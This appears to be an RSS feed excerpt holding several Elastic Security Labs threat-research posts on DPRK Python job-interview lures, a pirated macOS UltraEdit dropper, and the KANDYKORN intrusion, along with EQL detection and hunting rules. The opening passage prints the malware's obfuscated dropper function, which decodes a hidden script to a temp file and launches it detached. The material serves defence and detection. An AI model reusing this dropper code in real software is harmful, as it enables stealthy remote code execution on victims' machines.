<p>Now that we understand the purpose of the encoded Python script let's go back to the <code>__inity__.py</code> script and break down the function that executes the base64-encoded section.</p>
<h5><strong>inity</strong>.py</h5>
<p>Back within the <code>__inity__.py</code> script we can look for any other reference to the <code>req_self</code> variable to see what the script does with that encoded Python script. We find one single reference located in a function defined as <code>cert_acc</code>.</p>
<pre><code>def cert_acc():
  ct_type = platform.system()
  l_p = tempfile.gettempdir()

  if ct_type == codecs.decode(&quot;Jvaqbjf&quot;, stream_method):
      l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_opr, stream_method) + l_p
  else:
      l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_ops, stream_method) + l_p

  request_query = open(l_p, 'w')
  request_object = base64.b64decode(req_self)
  request_query.write(request_object.decode('utf-8'))
  request_query.close()
  try:
      if ct_type == codecs.decode(&quot;Jvaqbjf&quot;, stream_method):
          subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)
      else:
          subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)
  except:
      pass
cert_acc()
</code></pre>
<pre><code>ct_type = platform.system()
</code></pre>
<p>This variable retrieves the current operating system type (e.g., Windows, Linux, Darwin for macOS) using the <code>platform.system()</code> function. The value is stored in the <code>ct_type</code> variable.</p>
<pre><code>l_p = tempfile.gettempdir()
</code></pre>
<p>This variable calls the <code>tempfile.gettempdir() function</code>, which returns the path to the system's temporary directory. This directory is commonly used for storing temporary files that the system or programs create and then delete upon reboot. The value is assigned to <code>l_p</code>.</p>
<p>The <code>if-else</code> block takes advantage of the codecs library decode function using ROT13 to decode the string <code>Jvaqbjf</code>, which translates to <code>Windows</code>. This checks if the system type is Windows. If the system is Windows, the code appends a ROT13-decoded string (which turns out to be <code>\eronfr.gzc</code>, <code>\rebase.tmp</code> after decoding) to the temporary directory path <code>l_p</code>. It then constructs a command <code>header_ops</code>, which likely combines the decoded <code>push_opr</code> variable (also using ROT13) with the path.</p>
<p>If the system is not Windows, it appends a Unix-like file path <code>/eronfr.gzc</code> (<code>/rebase.tmp</code> after decoding) and similarly constructs a command using <code>push_ops</code>. This part of the code is designed to run different payloads or commands depending on the operating system.</p>
<pre><code>if ct_type == codecs.decode(&quot;Jvaqbjf&quot;, stream_method):
      l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_opr, stream_method) + l_p
  else:
      l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_ops, stream_method) + l_p
</code></pre>
<p>The next several statements, starting with <code>request_</code>, serve to write the Base64-encoded Python script we have already analyzed to<code> disk in the temporary directory. This code opens a new file in the temporary directory (</code>l_p<code>), which was previously set depending on the system type. The variable </code>req_self` (also a Base64-encoded string) is decoded into its original form. The decoded content is written into the file, and the file is closed.</p>
<pre><code>request_query = open(l_p, 'w')
  request_object = base64.b64decode(req_self)
  request_query.write(request_object.decode('utf-8'))
  request_query.close()
</code></pre>
<p>The function's final <code>try</code> block facilitates the execution of the encoded Python script.</p>
<p>If the system type is Windows, the code attempts to execute the file (constructed in <code>header_ops</code>) using the <code>subprocess.Popen function</code>. The <code>DETACHED_PROCESS</code> flag ensures that the process runs independently of the parent process, making it harder to track.</p>
<p>If the system is not Windows, it runs the file using a different execution method (<code>subprocess.Popen</code> with <code>shell=True</code>), which is more common for Unix-like systems (Linux/macOS). The <code>preexec_fn=os.setpgrp</code> makes the process immune to terminal interrupts, allowing it to run in the background.</p>
<pre><code>try:
      if ct_type == codecs.decode(&quot;Jvaqbjf&quot;, stream_method):
          subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)
      else:
          subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)
  except:
      pass
</code></pre>
<p>The <code>cert_acc</code> function executes the obfuscated Python script, which retrieves commands to be executed within the cert_acc function.</p>
<p>The script within the <code>Pyperclip</code> package exhibits clear signs of malicious behavior, using obfuscation techniques like ROT13 and Base64 encoding to hide its true intent. It identifies the operating system and adapts its actions accordingly, writing to disk and executing an obfuscated Python script in the system’s temporary directory. The script establishes communication with a remote server, enabling remote code execution (RCE) and allowing the attacker to send further commands. This carefully concealed process ensures the script runs stealthily, avoiding detection while maintaining effective C2 (Command and Control) over the infected machine.</p>
<h4>Campaign intersections</h4>
<p>When we found this sample, we also came across additional samples that matched its code implementation and previous campaign lures we have observed in the wild.</p>
<p>This lure again masquerades as a Python coding challenge delivered under the guise of a job interview. Its Python code implementation matches exactly the code we’ve analyzed above, and based on description and filename, it matches the lure described by Mandiant as “<a href="https://cloud.google.com/blog/topics/threat-intelligence/examining-web3-heists">CovertCatch</a>.”</p>
<p>The next lure is different from the previous ones but matches the Python code implementation we have seen and written about previously. Last year, we brought to light the malware known as “<a href="https://www.elastic.co/pt/security-labs/elastic-catches-dprk-passing-out-kandykorn">KandyKorn</a>” that targeted CryptoCurrency developers and engineers.</p>
<h2>Detection, Hunting and Mitigation Strategies</h2>
<p>Detecting and mitigating this type of obfuscated malicious code and its behavior requires a combination of proactive security measures, monitoring, and user awareness.</p>
<p>The best mitigation strategy against these lures and initial access campaigns is to educate your users regarding the extensive, targeted methods threat actors, like the DPRK, employ to gain code execution. Knowledge regarding these campaigns and being able to recognize them combined with a strong emphasis on proper code analysis before execution, especially when it comes to 3rd party applications like this, from “recruiters”, “developer forums”, “Github”, etc., will provide a strong foundation of defense against these attacks.</p>
<p>Regarding this sample specifically, there are a few different detections we can write surrounding the behavior of the code execution mechanism and the potential resulting use cases associated with that activity. While these queries are macOS-specific, you can take them and alter them to detect the same activity on Windows as well.</p>
<h3>[Detection] Python Subprocess Shell Tempfile Execution and Remote Network Connection</h3>
<pre><code>sequence by process.parent.entity_id with maxspan=3s
[process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and process.parent.name : &quot;python*&quot;
 and process.name : (&quot;sh&quot;, &quot;zsh&quot;, &quot;bash&quot;) and process.args == &quot;-c&quot; and process.args : &quot;python*&quot;]
[network where event.type == &quot;start&quot;]
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dprk-code-of-conduct/image3.png" alt="Sequence based Behavior Rule detection" title="Sequence based Behavior Rule detection" /></p>
<p>This rule looks for the specific behavior exhibited when the <code>__init__.py</code> sample writes the obfuscated Python script to disk and utilizes the <code>subprocess.Popen</code> method, setting the shell variable equal to True to execute the Python script that connects to a remote server to retrieve and execute commands.</p>
<h3>[Hunt] Python Executable File Creation in Temporary Directory</h3>
<pre><code>file where event.type == &quot;modification&quot; and file.Ext.header_bytes : (&quot;cffaedfe*&quot;, &quot;cafebabe*&quot;)
 and (process.name : &quot;python*&quot; or Effective_process.name : &quot;python*&quot;) and file.path : (&quot;/private/tmp/*&quot;, &quot;/tmp/*&quot;)
</code></pre>
<p>If the threat actor attempts to use this functionality to download an executable payload within the temporary directory already specified in the script, we could use this rule to look for the creation of an executable file in a temporary directory via Python.</p>
<h3>[Hunt] Interactive Shell Execution via Python</h3>
<pre><code>process where host.os.type == &quot;macos&quot; and event.type == &quot;start&quot; and event.action == &quot;exec&quot; 
and process.parent.name : &quot;python*&quot; and process.name : (&quot;sh&quot;, &quot;zsh&quot;, &quot;bash&quot;)
 and process.args == &quot;-i&quot; and process.args_count == 2
</code></pre>
<p>The threat actor could use the execution functionality to open an interactive shell on the target system to carry out post-exploitation actions. We have seen nation-state actors employ an interactive shell like this. We could use this rule to look for the creation of this interactive shell via Python.</p>
<h3>[Hunt] Suspicious Python Child Process Execution</h3>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and process.parent.name : &quot;python*&quot;
 and process.name : (&quot;screencapture&quot;, &quot;security&quot;, &quot;csrutil&quot;, &quot;dscl&quot;, &quot;mdfind&quot;, &quot;nscurl&quot;, &quot;sqlite3&quot;, &quot;tclsh&quot;, &quot;xattr&quot;)
</code></pre>
<p>The threat actor could also use this code execution capability to directly execute system binaries for various post-exploitation goals or actions. This rule looks for the direct execution of some local system tools that are not commonly used, especially via Python.</p>
<h2>Conclusion and Future Trends</h2>
<p>As we've explored throughout this analysis, the Democratic People's Republic of Korea (DPRK) has emerged as a formidable force in state-sponsored cyber operations. Combining social engineering with Python-based lures, their approach has proven successful in organizations with wide-ranging security maturity.</p>
<p>Their use of Python for initial access operations is a testament to the evolving nature of cyber threats. By leveraging this versatile and widely used programming language, threat actors have found a powerful tool that offers both simplicity in development and complexity in obfuscation. This dual nature of Python in their hands has proven to be a significant challenge for cybersecurity defenders.</p>
<p>Our deep dive into this recent sample has provided valuable insights into DPRK threat actors' current tactics, techniques, and procedures (TTPs). This case study exemplifies how social engineering and tailored Python scripts can work in tandem as highly effective initial access vectors.</p>
<p>As state-sponsored cyber operations advance, the insights gained from studying DPRK's methods become increasingly valuable. Cybersecurity professionals must remain alert to the dual threat of social engineering and sophisticated Python-based tools. Defending against these threats requires a multi-faceted approach, including robust technical controls, comprehensive staff training on social engineering tactics, and advanced threat detection capabilities focused on identifying suspicious Python activities.</p>
<p>As we move forward, fostering collaboration within the cybersecurity community and sharing insights and strategies to counter these sophisticated threats is crucial. We hope to stay ahead in this ongoing cyber chess game against state-sponsored actors like the DPRK through collective vigilance and adaptive defense mechanisms.</p>
<h3>Resources</h3>
<ul>
<li><a href="https://www.reversinglabs.com/blog/fake-recruiter-coding-tests-target-devs-with-malicious-python-packages">Fake recruiter coding tests target devs with malicious Python packages</a></li>
<li><a href="https://unit42.paloaltonetworks.com/threat-assessment-north-korean-threat-groups-2024/">Threat Assessment: North Korean Threat Groups</a></li>
<li><a href="https://cloud.google.com/blog/topics/threat-intelligence/examining-web3-heists">DeFied Expectations — Examining Web3 Heists | Google Cloud Blog</a></li>
<li><a href="https://www.elastic.co/pt/security-labs/elastic-catches-dprk-passing-out-kandykorn">Elastic catches DPRK passing out KANDYKORN — Elastic Security Labs</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/dprk-code-of-conduct/dprk-code-of-conduct.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Sinking macOS Pirate Ships with Elastic Behavior Detections]]></title>
            <link>https://www.elastic.co/pt/security-labs/sinking-macos-pirate-ships</link>
            <guid>sinking-macos-pirate-ships</guid>
            <pubDate>Fri, 15 Mar 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[This research looks at a recently found macOS malware campaign using the macOS Endpoint Security Framework paired with the Elastic Agent to hunt and detect the behaviors this malware exhibits.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>On January 12, 2024, Malwrhunterteam, an X account that surfaces interesting malware samples, usually found via VirusTotal, released a <a href="https://twitter.com/malwrhunterteam/status/1745959438140297697">Tweet</a> about a pirated macOS application that appeared to contain malicious capabilities. macOS security researcher Patrick Wardle quickly released a <a href="https://objective-see.org/blog/blog_0x79.html">write-up</a> detailing the application’s malicious functionality, which included dropping second and third-stage payloads. Shortly after, the team at JAMF Threat Labs released a <a href="https://jamf.com/blog/jtl-malware-pirated-applications/">blog</a> that captured several additional sibling samples that JAMF had been tracking before the Malwrhunterteam tweet, delving deep into the internals and core functionality this malware provides. If you have not read both of these great write-ups, there are a lot of helpful details and background information in these sources that will add context to the rest of this analysis.</p>
<p>This publication will not cover the malware internals or related samples. Instead, we will look to provide practical, resilient detection and threat hunting guidance that can enable you to alert on the actions taken by this, or similarly related, malware. Signature-based detections commonly fall short of such capabilities; however, we will highlight how our behavior rules deal with this.</p>
<p>We will be breaking down the malware's actions in each stage and analyzing how we can use the data from the macOS <a href="https://developer.apple.com/documentation/endpointsecurity">Endpoint Security Framework (ESF)</a> and the Elastic Agent to build these detections. Let's dig in.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/sinking-macos-pirate-ships/image4.png" alt="UltraEdit execution flow" title="image_tooltip" /></p>
<h2>UltraEdit</h2>
<p>The <a href="https://www.ultraedit.com/">UltraEdit</a> application (a legitimate text and hex editor) was pirated (altered and then abused to facilitate malware distribution) along with several other applications and distributed via a disk image file (<code>.dmg</code>).</p>
<p>Upon executing the pirated version of the application, it immediately loads a 3rd party, <em>unsigned</em> dylib (macOS shared library) called <code>libConfigurer64.dylib</code>. This dylib acts as a dropper whose goal is to download and execute follow-on payloads. The dylib downloads and executes two hidden files:  <code>/private/tmp/.test</code> and <code>/Users/Shared/.fseventsd</code>.</p>
<p>Looking at the initial actions taken by the application, we can see the unsigned 3rd party dylib load takes place immediately post-execution in the Analyzer View of the Elastic Security Solution. This is an important event to focus on because it is the only non-system library loaded.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/sinking-macos-pirate-ships/image8.png" alt="UltraEdit Dylib Load Event" title="image_tooltip" /></p>
<p>In version 8.11, Elastic Defend introduced a first-of-its-kind dylib load event for the macOS Elastic Agent, allowing us to capture library loads and details regarding those libraries, such as dylib signature data. With this powerful new visibility, we can quickly build an <a href="https://www.elastic.co/pt/guide/en/elasticsearch/reference/current/eql.html">Event Query Language (EQL)</a> query that looks for unsigned dylib loads from a volume mount or the applications directory structure.</p>
<p><strong>Rule Name: Application Unsigned Dylib Load</strong></p>
<pre><code>library where event.action == &quot;load&quot; and dll.path :  
(&quot;/Volumes/*.app/Contents/*&quot;, &quot;/Applications/*.app/Contents/*&quot;) 
and dll.code_signature.exists == false
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/sinking-macos-pirate-ships/image5.png" alt="Application Unsigned Dylib Load Detection Event" title="image_tooltip" /></p>
<p>We can and should take this a step further to identify only untrusted or unsigned processes that are loading an unsigned library. This will reduce the amount of false positives and still accurately capture the event taking place.</p>
<p><strong>Rule Name: Unsigned or Untrusted Application Unsigned Dylib Load</strong></p>
<pre><code>library where event.action == &quot;load&quot; and  
(process.code_signature.exists == false or process.code_signature.trusted == false)  
and dll.path : (&quot;/Volumes/*.app/Contents/*&quot;, &quot;/Applications/*.app/Contents/*&quot;) and  
dll.code_signature.exists == false
</code></pre>
<p>We now have a behavior-based detection that triggers on the unsigned process that loads the unsigned dylib and alerts us to its presence.</p>
<p>Let’s look at the additional payloads and their actions to see if we can build any additional detections.</p>
<h3>.test</h3>
<p>The <code>.test</code> binary gets placed in the temporary directory, post download (<code>/private/tmp/.test</code>), and executed with process arguments containing a path to an SSH binary. Noted by JAMF Threat Labs, this SSH binary is not in the default location of the SSH binary on macOS, which really resides at /<code>usr/bin/ssh</code>. This command line does not correlate with any intended functionality but rather an attempt to blend in.</p>
<p>As Patrick Wardle and JAMF stated, this binary is a macOS build of the open source, cross-platform post-exploitation agent known as <a href="https://github.com/geemion/Khepri">Khepri</a> and provides full backdoor access to a target system.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/sinking-macos-pirate-ships/image6.png" alt="Elastic Analyzer View True Process Tree" title="image_tooltip" /></p>
<p>From a detection perspective, we could create a very specific query here that looks for hidden binaries (files prefixed with a period are hidden from the user’s view in the GUI and CLI) executing from suspicious locations that contain process arguments containing the path to the SSH binary.</p>
<p>The issue with creating a query like this is that, as JAMF pointed out:</p>
<blockquote>
<p>one particularly interesting technique that the malware uses is replacing its command-line arguments to further blend in with the operating system.</p>
</blockquote>
<p>The malware updates these process arguments between samples, so while this query might detect one of the samples, they could easily change it and bypass this detection.</p>
<p>Instead of the process arguments, we could focus on the unsigned, hidden binary executing from a suspicious directory like <code>/tmp</code>.</p>
<p><strong>Rule Name: Untrusted or Unsigned Hidden Binary Executed from Temporary Directory</strong></p>
<pre><code>process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and  
process.executable : (&quot;/private/tmp/*&quot;, &quot;/tmp/*&quot;) and  
process.name : &quot;.*&quot; and (process.code_signature.exists == false or  
process.code_signature.trusted == false)
</code></pre>
<p>With the above rule, if any hidden unsigned or untrusted binaries attempt to execute from a temporary directory, we will be alerted irrespective of whether our signature or our machine learning models detect it.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/sinking-macos-pirate-ships/image1.png" alt="Hidden Binary Executed from Temporary Directory Detection Event Example" title="image_tooltip" /></p>
<p>(A note on false positives: It will happen, even though it should be extremely rare, to see hidden binaries executing from a temporary directory on macOS. There are many developers on macOS that adopt poor software development practices. False positives should be reviewed case-by-case and only excluded via the rule or Elastic exclusion list if the software is business-approved and validated.)</p>
<p>In addition to this rule, since the hidden payloads make outbound command and control network connections, we could also look for any outbound network connections from a hidden executable, as that is very suspicious activity on macOS and should warrant an alert at least. If you want to reduce the possibility of false positives, specify specific process executable directories like <code>/Users/Shared/</code> or <code>/tmp/</code> etc., or include process code signature data specifying unsigned or untrusted hidden executables.</p>
<p><strong>Rule Name: Hidden Executable Outbound Network Connection</strong></p>
<pre><code>network where event.type == &quot;start&quot; and 
event.action == “connection_attempted” and process.name : &quot;.*&quot;
</code></pre>
<p>Since this is a backdoor payload that offers a variety of functionality (upload, download, etc.), it would be prudent to create additional rules that look for some of these actions from an unsigned or untrusted, hidden binary. Since we already have a rule that would detect the hidden binary's initial execution, we will move on to the next payload.</p>
<h3>.fseventsd</h3>
<p><code>.fseventsd</code> was the second payload dropped by the malicious dylib at (<code>/Users/Shared/.fseventsd</code>). This payload’s purpose was to provide a persistent foothold on the victim’s machine utilizing a masqueraded launch agent and to act as a downloader for another payload that has yet to be found. Still, we know from reverse engineering of <code>.fseventsd</code> is named (<code>.fseventsds</code>).</p>
<p>We can see via the Elastic Analyzer View the first notable event is the persistence installation of a masqueraded launch agent.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/sinking-macos-pirate-ships/image9.png" alt="Elastic Analyzer View Process Dylib Load" title="image_tooltip" /></p>
<p>This activity can be tackled from two different angles. We could first detect this by looking for the masqueraded <code>.plist</code> file utilizing file events and process code signature data. In the below behavior rule, we look for files where the file name starts with <code>com.apple…</code> and the file path is a <code>Library/LaunchAgent</code> or <code>Library/LaunchDaemon</code>, and the responsible process is unsigned or untrusted.</p>
<p><strong>Rule Name: Persistence via a Masqueraded Plist Filename</strong></p>
<pre><code>file where event.type != &quot;deletion&quot; and 
 file.name : &quot;*com.apple*.plist&quot; and
 file.path :
       (&quot;/System/Library/LaunchAgents/*&quot;, 
        &quot;/Library/LaunchAgents/*&quot;,
        &quot;/Users/*/Library/LaunchAgents/*&quot;,
        &quot;/System/Library/LaunchDaemons/*&quot;,
        &quot;/Library/LaunchDaemons/*&quot;) and
(process.code_signature.trusted == false or  
process.code_signature.exists == false)
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/sinking-macos-pirate-ships/image2.png" alt="Persistence via a Masqueraded Plist Filename Detection Event" title="image_tooltip" /></p>
<p>The second way we can detect this persistent install technique is to take advantage of another new data source unique to Elastic Agent, which my colleague Ricardo Ungureanu and I added to version 8.6 of Elastic Defend. We created an aptly named persistence event that monitors the launch services directories and collects the plist details, sending them back in a structured event that can be used to create rules around suspicious or malicious Launch Agents or Daemons.</p>
<p>In the following rule, we look for launch events where the <code>runatload</code> value is set to <code>true</code> or the <code>keepalive</code> value is set to <code>true</code>. The plist arguments contain the path to a hidden executable in the <code>/Users/Shared</code> directory. This rule could be expanded to include additional suspicious or malicious arguments that would alert you to the installation of persistence by a malicious or suspicious binary.</p>
<p><strong>Rule Name: Persistence via Suspicious Launch Agent or Launch Daemon</strong></p>
<pre><code>file where event.action == &quot;launch_daemon&quot; and  
(Persistence.runatload == true or Persistence.keepalive == true) and 
  Persistence.args : &quot;/Users/Shared/.*&quot;
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/sinking-macos-pirate-ships/image3.png" alt="Persistence via Suspicious Launch Agent or Launch Daemon Detection Event" title="image_tooltip" /></p>
<p>The masqueraded plist could also be detected using this persistence event using the below query.</p>
<pre><code>file where event.action == &quot;launch_daemon&quot; and  
Persistence.name : &quot;com.apple.*&quot; and  
(process.code_signature.exists == false or 
process.code_signature.trusted == false)
</code></pre>
<p>The final piece here is the downloading of the missing 3rd stage payload. The hidden <code>.fseventsd</code> located in the <code>/Users/Shared</code> folder reaches out to download this new hidden payload to the <code>/tmp/</code> directory. You might remember we already created two rules (“Hidden Binary Executed from Temporary Directory” and “Hidden Executable Outbound Network Connection”) that would detect this activity.</p>
<p>We could add another rule to catch when a hidden executable is created in a suspicious directory. We can look for any file event where the event action is not the deletion of the file, the file name denotes a hidden file, the file contains Mach-O header bytes, and the file path is a path where the execution of a hidden file is not common. We collect file header bytes if the file is an executable, allowing us to denote executable files from other types of files not based solely on the file extension.</p>
<p><strong>Rule Name: Hidden Executable Created in Unusual Directory</strong></p>
<pre><code>file where event.action != &quot;deletion&quot; and file.name : &quot;.*&quot; and 
file.Ext.header_bytes : (&quot;cffaedfe*&quot;, &quot;cafebabe*&quot;) and 
file.path : (&quot;/Users/Shared/*&quot;, &quot;/private/tmp/*&quot;, &quot;/tmp/*&quot;)
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/sinking-macos-pirate-ships/image7.png" alt="Elastic Behavior Based Defense" title="image_tooltip" /></p>
<h2>Summary</h2>
<p>This malware is representative of many campaigns targeting macOS today. Our report on the DPRK malware KANDYKORN shows that these campaigns are modular, encompassing multiple stages of payloads with capabilities and functionality distributed between these payloads to avoid detection. You can see that with UltraEdit, one payload serves as the interactive backdoor and the other as the persistence mechanism. Malware like this can often easily update to avoid signatures. Still, as we have shown, behavior rules are unavoidable and allow us to bridge the gap between static signatures and machine learning models.</p>
<p>Behavior-based rules are very powerful if you have the right data and the ability to correlate that data. Our endpoint behavior rules can detect and prevent malware regardless of whether it updates or not. We have over 200+ endpoint behavior rules on macOS alone, including versions of those shown in this publication, that allow us to detect and prevent previously “undetected” malware by observing its actions in real time. If you want to check out our production endpoint behavior rules, they can be found <a href="https://github.com/elastic/protections-artifacts">here</a>. To learn more about our query languages, you can look here (<a href="https://www.elastic.co/pt/guide/en/elasticsearch/reference/current/eql.html">EQL</a> and <a href="https://www.elastic.co/pt/guide/en/elasticsearch/reference/current/esql-getting-started.html">ES|QL</a>). We are proud to be an open source company and want to let our software and features speak for themselves. If you want to test and explore these features for yourself, you can easily create an <a href="https://www.elastic.co/pt/cloud">Elastic Cloud</a> Account with a 30-day trial license, or for local testing, you can download “<a href="https://github.com/peasead/elastic-container">The Elastic Container Project</a>” and set the license value to trial in the <code>.env</code> file.</p>
<h2>References</h2>
<ul>
<li><a href="https://twitter.com/malwrhunterteam/status/1745959438140297697">https://twitter.com/malwrhunterteam/status/1745959438140297697</a></li>
<li><a href="https://objective-see.org/blog/blog_0x79.html">https://objective-see.org/blog/blog_0x79.html</a></li>
<li><a href="https://jamf.com/blog/jtl-malware-pirated-applications/">https://jamf.com/blog/jtl-malware-pirated-applications</a></li>
<li><a href="https://developer.apple.com/documentation/endpointsecurity">https://developer.apple.com/documentation/endpointsecurity</a></li>
</ul>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/sinking-macos-pirate-ships/photo-edited-01@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Elastic catches DPRK passing out KANDYKORN]]></title>
            <link>https://www.elastic.co/pt/security-labs/elastic-catches-dprk-passing-out-kandykorn</link>
            <guid>elastic-catches-dprk-passing-out-kandykorn</guid>
            <pubDate>Wed, 01 Nov 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs exposes an attempt by the DPRK to infect blockchain engineers with novel macOS malware.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>Elastic Security Labs is disclosing a novel intrusion targeting blockchain engineers of a crypto exchange platform. The intrusion leveraged a combination of custom and open source capabilities for initial access and post-exploitation.</p>
<p>We discovered this intrusion when analyzing attempts to reflectively load a binary into memory on a macOS endpoint. The intrusion was traced to a Python application posing as a cryptocurrency arbitrage bot delivered via a direct message on a public Discord server.</p>
<p>We attribute this activity to DPRK and recognize overlaps with the Lazarus Group based on our analysis of the techniques, network infrastructure, code-signing certificates, and custom Lazarus Group detection rules; we track this intrusion set as REF7001.</p>
<h3>Key takeaways</h3>
<ul>
<li>Threat actors lured blockchain engineers with a Python application to gain initial access to the environment</li>
<li>This intrusion involved multiple complex stages that each employed deliberate defense evasion techniques</li>
<li>The intrusion set was observed on a macOS system where an adversary attempted to load binaries into memory, which is atypical of macOS intrusions</li>
</ul>
<h2>Execution flow</h2>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image31.jpg" alt="REF7001 Execution Flow" /></p>
<p>Attackers impersonated blockchain engineering community members on a public Discord frequented by members of this community. The attacker social-engineered their initial victim, convincing them to download and decompress a ZIP archive containing malicious code. The victim believed they were installing an <a href="https://wundertrading.com/en/crypto-arbitrage-bot">arbitrage bot</a>, a software tool capable of profiting from cryptocurrency rate differences between platforms.</p>
<p>This execution kicked off the primary malware execution flow of the REF7001 intrusion, culminating in KANDYKORN:</p>
<ul>
<li>Stage 0 (Initial Compromise) - <code>Watcher.py</code></li>
<li>Stage 1 (Dropper) - <code>testSpeed.py</code> and <code>FinderTools</code></li>
<li>Stage 2 (Payload) - <code>.sld</code> and <code>.log</code> - SUGARLOADER</li>
<li>Stage 3 (Loader)- Discord (fake) - HLOADER</li>
<li>Stage 4 (Payload) - KANDYKORN</li>
</ul>
<h2>Stage 0 Initial compromise: Watcher.py</h2>
<p>The initial breach was orchestrated via a camouflaged Python application designed and advertised as an arbitrage bot targeted at blockchain engineers. This application was distributed as a .zip file titled <code>Cross-Platform Bridges.zip</code>. Decompressing it reveals a <code>Main.py</code> script accompanied by a folder named <code>order_book_recorder</code>, housing 13 Python scripts.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image21.png" alt="Cross-Platform Bridges.zip folder structure" /></p>
<p>The victim manually ran the <code>Main.py</code> script via their PyCharm IDE Python interpreter.</p>
<p>Initially, the <code>Main.py</code> script appears benign. It imports the accompanying Python scripts as modules and seems to execute some mundane functions.</p>
<p>While analyzing the modules housed in the <code>order_book_recorder</code> folder, one file -- <code>Watcher.py</code> -- clearly stood out and we will see why.</p>
<p><code>Main.py</code> acts as the initial trigger, importing <code>Watcher.py</code> as a module that indirectly executes the script. The Python interpreter runs every top-level statement in <code>Watcher.py</code> sequentially.</p>
<p>The script starts off by establishing local directory paths and subsequently attempts to generate a <code>_log</code> folder at the specified location. If the folder already exists, the script remains passive.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image17.png" alt="Creating a folder within the Python application directory structure and name it _log" /></p>
<p>The script pre-defines a <code>testSpeed.py</code> file path (destined for the just created <code>_log</code> folder) and assigns it to the <code>output</code> variable. The function <code>import_networklib</code> is then defined. Within it, a Google Drive URL is initialized.</p>
<p>Utilizing the Python <code>urllib</code> library, the script fetches content from this URL and stashes it in the <code>s_args</code> variable. In case of retrieval errors, it defaults to returning the operating system's name. Subsequently, the content from Google Drive (now in <code>s_args</code>) is written into the <code>testSpeed.py</code> file.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image25.png" alt="Malicious downloader function import_networklib" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image24.png" alt="Connect to Google Drive url and download data saved to a variable s_args" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image1.png" alt="Write data from s_args to testSpeed.py file in newly created _log directory" /></p>
<p>The next function, <code>get_modules_base_version</code>, probes the Python version and invokes the <code>import_networklib</code> function if it detects version 3. This call sets the entire sequence in motion.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image14.png" alt="Check if Python version 3, calls the import_networklib function" /></p>
<p><code>Watcher.py</code> imports <code>testSpeed.py</code> as a module, executing the contents of the script.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image7.png" alt="Import testSpeed.py to execute it" /></p>
<p>Concluding its operation, the malicious script tidies up, deleting the <code>testSpeed.py</code> file immediately after its one-time execution.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image8.png" alt="Delete the downloaded testSpeed.py file following its import and execution" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image35.png" alt="Watcher.py deletes the testSpeed.py immediately following its execution" /></p>
<h2>Stage 1 droppers testSpeed.py and FinderTools</h2>
<p>When executed, <code>testSpeed.py</code> establishes an outbound network connection and fetches another Python file from a Google Drive URL, named <code>FinderTools</code>. This new file is saved to the <code>/Users/Shared/</code> directory, with the method of retrieval mirroring the <code>Watcher.py</code> script.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image9.png" alt="testSpeed.py network connection" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image2.png" alt="_FinderTools file creation _" /></p>
<p>After download, <code>testSpeed.py</code> launches <code>FinderTools</code>, providing a URL (<code>tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC</code>) as an argument which initiates an outbound network connection.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image3.png" alt="FinderTools execution" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image13.png" alt="FinderTools network connections" /></p>
